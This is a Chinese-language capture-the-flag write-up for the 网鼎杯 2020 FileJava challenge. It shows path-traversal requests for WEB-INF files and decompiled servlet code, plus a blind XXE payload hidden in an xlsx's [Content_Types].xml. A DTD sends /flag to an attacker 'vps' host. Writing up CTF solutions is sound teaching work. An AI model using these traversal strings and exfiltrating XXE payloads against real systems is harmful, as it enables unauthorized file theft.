来自:[网鼎杯 2020青龙组]FileJava
hgame遇到一个无回显XXE,这次找java题恰好又找到一个,虽然是四年前的题,但思路大差不差,都是传dtd文件,然后反弹shell,那么重点我们就来看代码审计部分。
进入发现是一个文件上传:
随便传一个文件看看:
给了一个下载地址,访问试试:
能直接下载下来,抓个包看看:
可以发现这个路由有个filename的参数,很自然我们想到任意文件下载漏洞,../../../试试:
被删掉了。
读flag有waf,意料之中。确实也不可能这么简单就读出来了,应该是另有玄机的。接下来轻车熟路去访问web.xml,看看能不能拿到配置:
?filename=../../../../WEB-INF/web.xml
出不了就多套几层目录穿越。
根据配置信息,把class文件一个个读下来:
../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class ../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class ../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class
拿去反编译,可以用JADX,也可以用IDEA。
这里黑名单看的很清楚:
在UploadServlet.class处发现一个报错:
这里的XML解析是有点问题吗?
熟悉java代码审计的师傅,应该很快反应过来了xxe漏洞主要看加载包,函数名。像如下关键接口:
XMLReader SAXBuilder SAXReader SAXParserFactory Digester DocumentBuilderFactory
这些都是有说法的,详见网鼎杯2020青龙组——filejava通关思路_[网鼎杯 2020 青龙组]filejava-CSDN博客
我们这里分析负责上传和负责下载的类:
//DownloadServlet.class
//...
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String fileName = request.getParameter("filename"); fileName = new String(fileName.getBytes("ISO8859-1"), "UTF-8"); System.out.println("filename=" + fileName); if (fileName != null && fileName.toLowerCase().contains("flag")) { request.setAttribute("message", "禁止读取"); request.getRequestDispatcher("/message.jsp").forward(request, response); } else { String fileSaveRootPath = this.getServletContext().getRealPath("/WEB-INF/upload"); String path = this.findFileSavePathByFileName(fileName, fileSaveRootPath); File file = new File(path + "/" + fileName); if (!file.exists()) { request.setAttribute("message", "您要下载的资源已被删除!"); request.getRequestDispatcher("/message.jsp").forward(request, response); } else { String realname = fileName.substring(fileName.indexOf("_") + 1); response.setHeader("content-disposition", "attachment;filename=" + URLEncoder.encode(realname, "UTF-8")); FileInputStream in = new FileInputStream(path + "/" + fileName); ServletOutputStream out = response.getOutputStream(); byte[] buffer = new byte[1024]; int len = false; int len; while((len = in.read(buffer)) > 0) { out.write(buffer, 0, len); } in.close(); out.close(); } }
//...
除了不让读flag,就没有什么限制了。
//UploadServlet.class //... protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String savePath = this.getServletContext().getRealPath("/WEB-INF/upload"); String tempPath = this.getServletContext().getRealPath("/WEB-INF/temp"); File tempFile = new File(tempPath); if (!tempFile.exists()) { tempFile.mkdir(); } String message = ""; try { DiskFileItemFactory factory = new DiskFileItemFactory(); factory.setSizeThreshold(102400); factory.setRepository(tempFile); ServletFileUpload upload = new ServletFileUpload(factory); upload.setHeaderEncoding("UTF-8"); upload.setFileSizeMax(1048576L); upload.setSizeMax(10485760L); if (!ServletFileUpload.isMultipartContent(request)) { return; } List<FileItem> list = upload.parseRequest(request); Iterator var10 = list.iterator(); label56: while(true) { while(true) { if (!var10.hasNext()) { break label56; } FileItem fileItem = (FileItem)var10.next(); String filename; String fileExtName; if (fileItem.isFormField()) { filename = fileItem.getFieldName(); fileExtName = fileItem.getString("UTF-8"); } else { filename = fileItem.getName(); if (filename != null && !filename.trim().equals("")) { fileExtName = filename.substring(filename.lastIndexOf(".") + 1); InputStream in = fileItem.getInputStream(); if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) { try { Workbook wb1 = WorkbookFactory.create(in); Sheet sheet = wb1.getSheetAt(0); System.out.println(sheet.getFirstRowNum()); } catch (InvalidFormatException var20) { System.err.println("poi-ooxml-3.10 has something wrong"); var20.printStackTrace(); } } String saveFilename = this.makeFileName(filename); request.setAttribute("saveFilename", saveFilename); request.setAttribute("filename", filename); String realSavePath = this.makePath(saveFilename, savePath); FileOutputStream out = new FileOutputStream(realSavePath + "/" + saveFilename); byte[] buffer = new byte[1024]; int len = false; int len; while((len = in.read(buffer)) > 0) { out.write(buffer, 0, len); } in.close(); out.close(); message = "文件上传成功!"; } } } } } catch (FileUploadException var21) { var21.printStackTrace(); } request.setAttribute("message", message); request.getRequestDispatcher("/ListFileServlet").forward(request, response); } //...
尤其是:
这里
对文件项列表进行迭代,如果文件项是一个普通的表单字段,那么获取字段名和字段值;如果文件项是一个文件,那么获取文件名和文件输入流。 如果文件名以"excel-"开头并且文件扩展名为"xlsx",那么使用Apache POI库读取Excel文件并打印第一个工作表的第一行的行号。
很难不想到无回显XXE,事实上也的确如此。
那么我们的思路就有了,让系统访问我们构造的恶意XXE代码,从而执行命令。
首先我们要知道xlsx本质上也是一个压缩包文件,word的docx文件等亦是如此,对这些文件binwalk过的师傅应该也都知道,里面会有一些XML存在,而这个XML就给我们提供了写XXE代码的跳板。
所以我们的绕过方法就是:
先新建一个excel-1.xlsx文件,再改后缀为zip,解压缩,对文件夹里面的[Content_Types].xml进行修改,修改完后再压缩成zip,改后缀为xlsx,上传。
XXE代码:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % remote SYSTEM "http://vps/1.dtd"> %remote; %all; ]> <root>&send;</root>
服务器上挂上1.dtd文件:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://vps:port/%file;'>">
上述这种是外带flag直接读,应该还有种反弹shell的方法,但是我懒得写了hhhh
添加这个XXE代码,ip是等下vps起的http服务的ip,可以默认80,也可以选一个端口:
vps上挂1.dtd,ip是等下可以nc的ip,当然也可以直接起默认80ip,不用nc直接等回显就行:
思路很简单就是这样,但是NSS的靶机弹不出来,BUU的靶机根本打不开(
标签:文件,java,String,..,无回显,request,filename,XXE,fileName From: https://www.cnblogs.com/EddieMurphy-blogs/p/18078704